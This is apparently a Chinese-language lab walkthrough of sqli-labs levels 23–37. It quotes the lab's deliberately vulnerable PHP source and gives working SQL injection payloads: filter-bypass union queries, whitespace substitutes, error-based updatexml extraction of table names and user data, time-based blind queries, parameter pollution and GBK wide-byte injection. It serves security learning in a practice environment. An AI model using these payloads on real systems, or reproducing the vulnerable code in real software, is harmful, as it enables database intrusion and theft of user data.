二十三关(GET -Error based - strip comments)
这一关又变回get型了,给一个1'
的参数,直接就报错了,还报错出了路径,之前做文件导入的时候,我们就说过可以通过报错获得路径来着,这下总算遇到了。
通过报错,我们可以很清楚的看到,这是一个'
闭合的语句,但是,当我们按照以前的思路来注释掉后面的内容时,却依旧报错了。
这时候我们再来回到标题,原来是我们的注释符被过滤了,我们看一下源代码,果然,将注释符过滤为了空格
if(isset($_GET['id']))
{
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
这时候,回到我们的查询语句,之所以报错,不外乎就是单引号没有闭合,那我们将它闭合不就好了吗。
SELECT * FROM users WHERE id='1''' LIMIT 0,1
那只要找到了思路,后面不就很简单了吗,就和第一关差不多了,我两个单引号一旦闭合了,对整个语句就没啥影响了,你要喜欢,你多加几对单引号双引号都行(好奇的加了一对括号在中间,不行)。就给一个语句示范一下就行了。
id=-1' union select 1,2,3 '
二十四关(POST- Second oder Injections Real treat- Stored Injections)
二次注入,存储型注入,这个比较有意思。来到首页,很新奇的一个界面。
先来登录一下,登录之后,出现了这么一个界面,可以修改密码或者是退出登录
我们先退出去看一下,在点一下忘记密码,却提示我们,如果忘记密码了,那就去攻击它
那看上去,这里好像没什么特别的,再看一下注册那个能不能用,点了一下,是可以用的
好了,大致浏览一下,我们可以注册,登录,重置密码,对应的分别是insert
,select
,update
三种语句。我们挨个试一下吧。但是尝试之后会很无奈的发现,似乎没有什么地方下手。
那我们还是来进行代码审计吧,我们这一关的文件夹下总共有8个php文件,但实际真正关键的只有三个文件,用于处理登录数据的login.php
文件,登录后处理密码修改的pass_change.php
文件,处理用户注册提交数据的login_creat.php
文件。
login.php
<?PHP
session_start();
--------------------------------------------------------------------
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
if ($row[1]) {
return $row[1];
//$row[1]对应的就是users表中的username字段
} else {
return 0;
}
}
--------------------------------------------------------------------
$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
else
{
<img src="../images/slap1.jpg">
}
?>
- 第一段就是启用session机制的一句话
- 接下来定义了一个函数,用于处理表单提交的数据,并且从数据库中查找数据,这里调用了
mysqli_real_escape_string()
函数,对传入的字符串都进行了处理;使用mysql_fetch_row()
取出结果集中的数据,并产生一个数组;判断数组中是否有数据,如果有则返回第一条row[1]
,如果没有则返回0. - 如果返回值不为0,即,成功从数据库中取出数据,那么将
$login
中的值赋值给$_SESSION["username"]
,并且设置一个cookie,最后重定向到登录后的页面。
pass_change.php
<?PHP
session_start();
if (!isset($_COOKIE["Auth"]))
{
if (!isset($_SESSION["username"]))
{
header('Location: index.php');
}
header('Location: index.php');
}
?>
<?php
if (isset($_POST['submit']))
{
$username= $_SESSION["username"];
//将$_SESSION["username"];中的值赋值给$username
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
<?php
if(isset($_POST['submit1']))
{
session_destroy();
setcookie('Auth', 1 , time()-3600);
header ('Location: index.php');
}
?>
这个是重置密码的页面,可以看到对传入的三个参数都调用了mysql_real_escape_string
进行了转义。前面就是一个普通的重置密码的代码,后面这个则是退出登录的,如果提交了退出登录的参数,那么就删除掉session,和cookie。
<?PHP
session_start();
?>
<?php
if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
else
{
?>
<script>alert('Please make sure that password field and retype password match correctly')</script>
<?php
header('refresh:1, url=new_user.php');
}
}
}
?>
最后,我们再看到注册的页面,也对三个参数都进行了严格的过滤,这就比较难办了。
不过,如果有人仔细看了重置密码的代码的话,会发现,虽然我通过表单传入的只有三个参数,但是我们实际上是用了四个参数的,有三个参数是通过表单传入,还有一个参数是从session中读取的。
三个从表单中读取的参数都进行了转义,但是这个从session中读取出的参数却没有进行转义。而我们知道,这个session的值实际上就是表中的username字段,那我们如果能让session值带上我们的sql语句,是否就可以进行利用了呢?
$username= $_SESSION["username"];
//将$_SESSION["username"];中的值赋值给$username
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
这是$username
参与的sql语句。
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
既然我们已经知道了,这个session就是读取的username字段的值,那我们就往里面注册一个带有sql语句的用户名。
我们注册一个用户名为aaa'
的账户
接着就用这个账号进行登录,按照我的想法来说,这个用户名里面带有单引号,在重置密码时,语句会变成下面这样,就会报错,但是尝试之后发现没有报错信息,那看来想使用报错注入是没机会了。
UPDATE users SET PASSWORD='$pass' where username='aaa'' and password='$curr_pass'
但我们起码得证明这个思路没问题吧,那我们再来注册一个用户Dumb'#
,密码为aaa
.
我们使用这个用户进行登录,然尝试修改其密码为123,在我们修改之后再去查看数据库,却发现这个用户的密码没有被改变,而Dumb
用户的密码却被改变了,验证思路成功。
二十五关(GET-Error based -All your OR&AND belong to us -string single quote)
进去就给我报了个错误提示,我还以为源码出问题了
看了一下源码,原来是要先提交一个id的参数$hint=$id;
,再传给这个变量。
既然没问题,那就开始吧,这关很直接的,输入一个1'
,就爆出了相应的错误信息,直接就判断出了是单引号闭合,直接当成第一关就解决了。
25a(GET -Blind Based - All your OR&AND belong to us-Intiger based)
还是一样的规矩,先来判断闭合了,然而,不管我输入单引号还是双引号,还是加上括号都是一样的提示,那这个报错应该是没法利用了,那我们使用and 1=1
来尝试一下呢。
我百度了一下这个错误,是一个由
mysql_fetch_array
函数引发的错误,原因是返回的$result
为空,而我们没有加以判断就直接调用了。$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
但是当我们输入1' and 1=1--+
时,下面有提示,提示输入被过滤了,and
被过滤掉了,当然,or
也是被过滤掉了。
我们来整理一下思路,想想如何绕过呢,我现在所能想到的就这几种
- 大小写(aNd)
- 双写(anandd)
- 注释符
/**/
(an/**/d)------->思路错误 &&
和||
接下来就挨个去试,大小写绕过失败,双写成功绕过,注释符绕过失败,&&
和||
绕过失败。
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
大小写绕过失败很正常,因为在正则表达式中使用了参数i
,表示忽略大小写,注释符为什么绕过失败呢,因为我写法就是错误的,注释符为空的话,实际上是会被当成一个空格的,当然就不对了。
但是最后这个&&
绕过失败是我所不能理解的。输入的id=1 &&1=2
和id=1 &&1=1
居然被过滤为了1
,这就令我很懵逼。理论上来说,应该出现下面这种结果才对。
想了一下,或许和这一关是数字型有关系?所以,实际读取到的只有前边的数字?(试了一下,排除了这个可能,因为前一关用&&也不行) 还是说,问题出现在php中,比如,这段获取参数的代码$id=$_GET['id'];
,这样的话赋值语句该是$id=1 && 1=2
,emmmmm,但是吧,我觉得这个理由有点牵强,因为 and
也是php的逻辑运算符呀,不可能还偏袒其中一个吧。突然想到了原因,&符号在url里面是连接参数的,所以,需要转换为url编码呀!这下就ok了。输入id=1 %26%26 1=1
,提示变成这样了。
当然,这道题其实是可以直接用联合查询的,因为我们输入id=1
的时候,很明显是有数据库反馈的,我估摸着这是设计者调试的时候,忘记改注释了。
二十六关(GET-Error based -All your SPACES and COMMENTS belong to us)
先输入一个正常数据id=1
,有数据库回显
再来加个单引号,报错信息在熟悉不过了,直接明了的单引号闭合
那岂不是长驱直入,直接联合查询?说干就干,先来个order by 吧,?id=1' order by 3--+
,空格没了,我的注释符也没了,or也没了(and当然也没了)
不过,恰好前一关我们说到/**/
会被当成空格,我们就用一下,输入id=1'/**/oorrder/**/by/**/3--+
,很遗憾,被直接过滤为空。
 再想想,还能咋弄,url中加号也会被识别为空格,试一下,id=1'+oorrder+by+3--+
,还是很遗憾,也被过滤为空了。那/*!....*/
这个呢,很遗憾,还是不行。那就得好好理一下思路了。
这一关面临的有三个问题:
- or和and被过滤,但是尝试之后和前一关一样的方法即可绕过
- 注释符被过滤,那要想构成完整的SQL注入语句,我们可以将其进行闭合
- 空格被过滤,这个是难点,似乎很难绕过
其中第三个是最难解决的一个问题,空格如果被过滤了,那么其实有两种思路
- 使用其他字符来代替空格,我们只尝试过注释符,想必还有其他的字符可以替代空格。
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/ 注释符(不过,注释符已经被过滤了)
- 使用其他的语法结构,不需要空格的语法结构。
括号包裹子查询来进行绕过,比如报错注入,盲注都是可以避开空格的a
先来尝尝试用其他符号代替,挨个尝试即可,尝试到%0b
的时候,终于是成功了,
?id=99999'%0Bunion%0Bselect%0B1,2,'3
虽然显示出过滤后的字符串还是连接在一块儿的,但是,确实是可以查到的,那接下来就用联合查询即可。这里我只成功了这一个字符,如果是搭建在linux系统中的环境,那兴许会多成功几个,因为对符号的解析有点区别。
接下来再尝试一下第二种
基于布尔的盲注
?id=99999'||(length(database())=7)||'1'='2
基于时间的盲注
?id=1'||if(length(database())=8,sleep(5),1)||'1'='2
报错注入
?id=1'||updatexml(1,concat(0x7C,database(),0x7C),1)||'1'='2
爆出当前数据库
?id=0'||updatexml(1,concat(0x7C(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7C),1)||'1'='1
爆出表名
?id=0'||updatexml(1,concat(0x7C,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema=database())anandd(table_name='users'))),0x7C),1)||'1'='11
爆出列名
||updatexml(1,substr(concat(0x7e,(select (group_concat(username)) from(users)),0x7e),1,32),1)||'1
爆出值,这里使用substr函数来进行分段输出
剩下的就不再进行演示了。
26a(GET -Blind Based - All your SPACES and COMMENTS belong to us -string-single-quotes-Parenthesis)
老规矩,先来个正常的登录,有显示位,但是既然题目是盲注,我们就当没看见
下一步,判断闭合,顺便看看有没有报错信息,确实是有报错信息,但这个报错信息和前面25a的是一样的,不能给你提示让你猜到闭合。同时,也可以直接把报错注入给排除了。
使用and 1=1
进行判断,在输入?id=1') anandd ('1')=('1
和?id=1') anandd ('1')=('2
时,发现前者正常显示,后者没有显示。说明闭合大概就是('')
闭合。接下来,验证一下即可,和前一关没什么差别。
二十七关(GET-Error Based-All your UNION & SELECT Belong to us - String - Single quote)
老规矩,来个正常的数据
然后再来看一下有没有报错信息,报错信息是有的,而且很直接就能看出是单引号闭合
那接下来就步步的判断过滤了哪些东西嘛。这里是靶机,所以会给我们提示出我们的输入被过滤后的结果,所以在测试过滤了哪些东西时,我们可以像这样写?id=union1
,把测试的东西放正常参数前边,如果过滤了就会显示正常,如果没过滤,那自然就有不同了。比如我自己写的一个字典,放burp里面跑一下。
之后,我们开始使用联合查询,但是这时会发现union 和select都被过滤了。那我们按照老思路来,双写一下,不过这个地方着实是有点意思,select似乎过滤了两次,我总共写了三次select才成功绕过。?id=9999'%0B uniounionn %0B selselselectectect %0B 1,2,'3
。
我们来看看这源代码。
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces. ----注意这里
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select------梅开二度
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
可以看到,怪不得会过滤了两个select,不过,这一关我们可以看到是没有忽略大小写的,所以,还可以大小写进行绕过。这里我查了一下正则表达式中这几个参数的意思。
这些符号被称为正则表达式模式修饰符,用法含义如下:
1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。 6、/x 忽略空白模式。
这里有值得注意的一点,这些修饰符是可以混合使用的。例如 /ig、/ie等。
还有其他的几种注入方法,就不一一演示了,这关甚至连and
和or
都没有过滤。
27a(GET-Blind Based-All your UNION & SELECT Belong to us - Double Quotes)
还是一样的,先给个正常参数,有回显
接着输入一下字符,看一下报错信息,但是这关就比较特别了,输入单引号之后,返回了正常的页面
但是输入双引号之后提示错误了,那估计闭合的字符中有双引号。这里稍加输入?id=1""
,显示正常,那看来确实是双引号闭合。再使用and 1=1
确认了一下,也确实是双引号闭合。
剩下的就没有什么可说的了
二十八关(GET-Error Based-All your UNION &SELECT Belong to us - String -Single quote with parenthesis)
我为了更加真实一点,在源代码中,提示的那句话给注释掉了。
老规矩,给正常数据
给个单引号,直接报错
给个双引号却显示正常,那看来是有单引号参与闭合
使用and 1=1
判断也很顺利。?id=1' and '1'='1
返回正常,?id=1' and '1'='2
无返回,确定是单引号闭合。(此处出错,后面仔细看)
接下来,优先考虑的,当然是联合查询,那就先order by一下。可以看到,order by 报错了,但是我们需要确定一下是“order”和“by”被过滤,还是空格被过滤。
输入?id=1' an%20%20%20 d '1'='1
,返回正常,输入?id=1' an order d '1'='1
和?id=1' an by d '1'='1
返回不正常,s说明没有过滤"order"和"by"。
那我们用%0b
代替一下空格,但是我们依旧出错,这时我就得好好想想问题出在哪里了,于是我看了一下写的笔记。原来,这一关是一个')
的闭合,而我判断成了单引号闭合。但是我们前边使用单引号闭合的时候确实是成功的产生了不同的返回结果了,那这又是为啥呢。我们来分析一下
select * from users where id='xxx'
1. select * from users where id='1' and '1'='1'
2. select * from users where id='1' and '1'='2'
select * from users where id=('xxx')
3. select * from users where id=('1' and '1'='1')
4. select * from users where id=('1' and '1'='2')
5. select * from users where id=('1‘)and('1')=('1')
6. select * from users where id=('1‘)and('1')=('2')
我们来对比一下上面几个语句,首先从闭合上来说,上面的语句都是闭合了的,于是都是没有报错的。
而我们构造出的判断语句,实际上是第三四句。
先来看第三句,括号里的数据被当成一个表达式了, 表达式为真返回值为1,所以会返回id=1
的数据。
再看第四句,表达式为假返回值为0,于是去查询id=0
的数据了,而我们数据库里是没有这样一个数据的,所以查询结果为空。
这恰好与我们第一二句产生了一样的结果,于是产生了误判。那如何判定是否有括号呢?只需要把id换一个值,看返回结果是否会变。因为这是一个表达式,所以它的返回值只会是0
或1
,比如下面,我换了个不存在的值,却依旧给我返回了一个id=1
的结果,足以证明没有闭合。
不信的话,可以拿第一关来对比一下,可以看到,如果进行了闭合的话,查询的结果显然是不同的。
当然,像上面这样的话,未免显得有些许麻烦,所以,更直接一点的方法就是,如果判断出单引号有参与闭合,那就把带括号的和不带括号的 and 1=1 都带进去看一下。如果语句本身没有括号的话,那必然是直接报错的。
id=1') and ('1')=('1
id=1') and ('1')=('1
说完上面这点,我们再次回到之前 order by 那里。但是我发现了,对于这种,过滤了注释符的,似乎不能直接使用order by判断字段,因为order by后面要么跟纯数字,要么跟字段名。那我们直接使用联合查询吧,联合查询可以同时判断字段数与显示位。
但是,问题来了?id=1')%0Bunion%0B select %0B1,2,3and('1'='1
,又报错了
那么,到底是过滤了“union”呢还是“select”呢,还是两个都过滤了呢。
但是,看到上面两个都没有显示,难道没有过滤掉“union”和“select”?不慌,再尝试一下union%0B select 1
,却依旧还是显示空白,这就比较难受了呀。但是我们可以确定的是,问题必然就出在这一段,何况,题目都说了是过滤掉了union和select。
那仔细想想,会不会和这个%0b
有关呢,我们试试换成其他的代替空格的字符。诶,这次就返回了正常的结果了,说明确实是过滤掉了union和select,而且过滤掉的是连接在一起的union select
。
那接下来就好办了?id=9999')union%0Aseunion%0Aselectlect%0A1,2,3%0Aand('1'='1
,和双写绕过是一样的原理。
剩下的就步骤多说了。布尔盲注,延时注入什么的应该也是可以的。
28a(GET-Blind Based-All your UNION&SELECT Belong to us -single quote-parenthesis)
这关也不多说了,和前面没啥区别。
?id=1') and ('1'='a
?id=1') and ('1'='2
二十九关(GET-Error based-MPIDENCE MISMATCH-Having a WAF in front of web application.)
这关。。。。我不知道和第一关有啥区别呀,emmmm,又看了一下以前的笔记,原来这是一道使用参数污染过waf 的题,不过,这题主要是告诉我们有这么一个东西,waf是没有滴
?id=1&id=2
这样查询出来的结果是id=2的
所以可以构造出多余的参数来绕过waf
?id=1&id=-1' union select 1,database(),3--+
三十关(GET-BLIND- IMPIDENCE MISMATCH-Having a WAF in front of web application)
没太多可说的,变成盲注了,双引号闭合
三十一关(GET-BLIND- IMPIDENCE MISMATCH-Having a WAF in front of web application.)
这关也就是改变了一下闭合而已
三十二关(GET - Bypass custom filter adding slashes to dangerous chars.)
来到这一关,先来个?id=1'
试一下
下面提示啥,提示输入被转义了,也就是我们的单引号变成普通的单引号了,随便试一下双引号,当然也是被转义了。那咋办,要不,加个\
再把他的转义字符给转义成普通字符吧。
于是输入?id=1\'
,很遗憾,输入的转义字符也被转义了。那看来确实没辙了,直接说方法吧。
输入一个?id=1%df%27
,出现了下面这样的报错,这一看不就和第一关报错没啥区别吗,既然报错了,那就说明我们的单引号生效了。
为什么会出现这种情况呢,我们来查看一下源代码
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
//escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);
//escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);
//escape double quote with a backslash
return $string;
}
---------------------------------
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
preg_quote函数用于转义正则表达式字符
正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -
preg_replace— 执行一个正则表达式的搜索和替换
说明:
mixed preg_replace ( $pattern , $replacement , $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 20: …t = -1 [, int &̲count ]] )
搜索subject中匹配pattern的部分,以replacement进行替换。
preg_replace函数需要加以注意,因为这个函数有一个很经典的漏洞,会导致远程代码执行
上面一段是进行转义的函数,不必多说,下面这段中mysql_query("SET NAMES gbk");
,又是干啥用的呢,是用于设定字符集的,主要是解决中文保存到MYSQL中为乱码,或是显示出来乱码的问题。
GBK全名为汉字内码扩展规范,采用的是双字节表示,总体编码范围为8140-FEFE,首字节在81-FE 之间,尾字节在40-FE 之间,我们在前边构造一个%df,mysql就会识别这是一个gbk 的编码,后面紧跟着的\
就和%df
连接在一起成一个不知名汉字了,所以%df不是一定的,只要是在gbk的编码范围内就行。
大家可以看一下,这个df5c对应的就是“運”这个汉字
三十三关(GET - Bypass AddSlashes())
这一关和上一关基本相同,会自动在单引号和双引号前面加上一个转义字符。但是由于后面设置了字符编码为“gbk”,所以会导致宽字节注入。
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(’)
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false
注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
三十四关(POST - Bypass AddSlashes())
这一关实际上也没什么特别的,还是宽字节注入,只不过换成了post型,但这一关有一点特别,我直接在表单里输入的%df
是不能够被将后面的\
转义的,因为%
自身被编码了
所以最好使用hackbar或者burp来提交数据
三十五关(GET - Bypass Add Slashes (we dont need them) Integer based)
输入一个单引号,结果直接就报错了
我们知道这里这个转义字符是自动给我们添加的,那除去这个转义字符,意思说我们这个单引号是多余的,原来是一个数字型,等于第二关
三十六关 (GET - Bypass MySQL_ real escape_ string)
输入?id=1'
,还是一样的,提示我们被转义了,好像这一关还是没有什么差别
还是宽字节注入,不讲了,就是源代码中的函数换了一下,
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
mysql_real_escape_string会转义字符串中的特殊字符
转义在字符有 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z
三十七关(POST- Bypass MySQL_ real_ escape_ string)
没什么特别的呀,和第34关差不多。
这一部分关卡,主要涉及到的是一些安全防护的绕过,先是二次注入,就是由于设计者的疏忽而造成的,接着是一些关键字的绕过,主要用的方法就是使用具有同样功能的东西来进行绕过,尤其是空格的绕过,可以使用其他字符来进行绕过,或者是使用报错注入这种不需要空格的sql注入语句,因为很多网站的输入框都会过滤掉空格,比如用户名和密码处,所以比较关键。还有参数污染,和宽字节注入。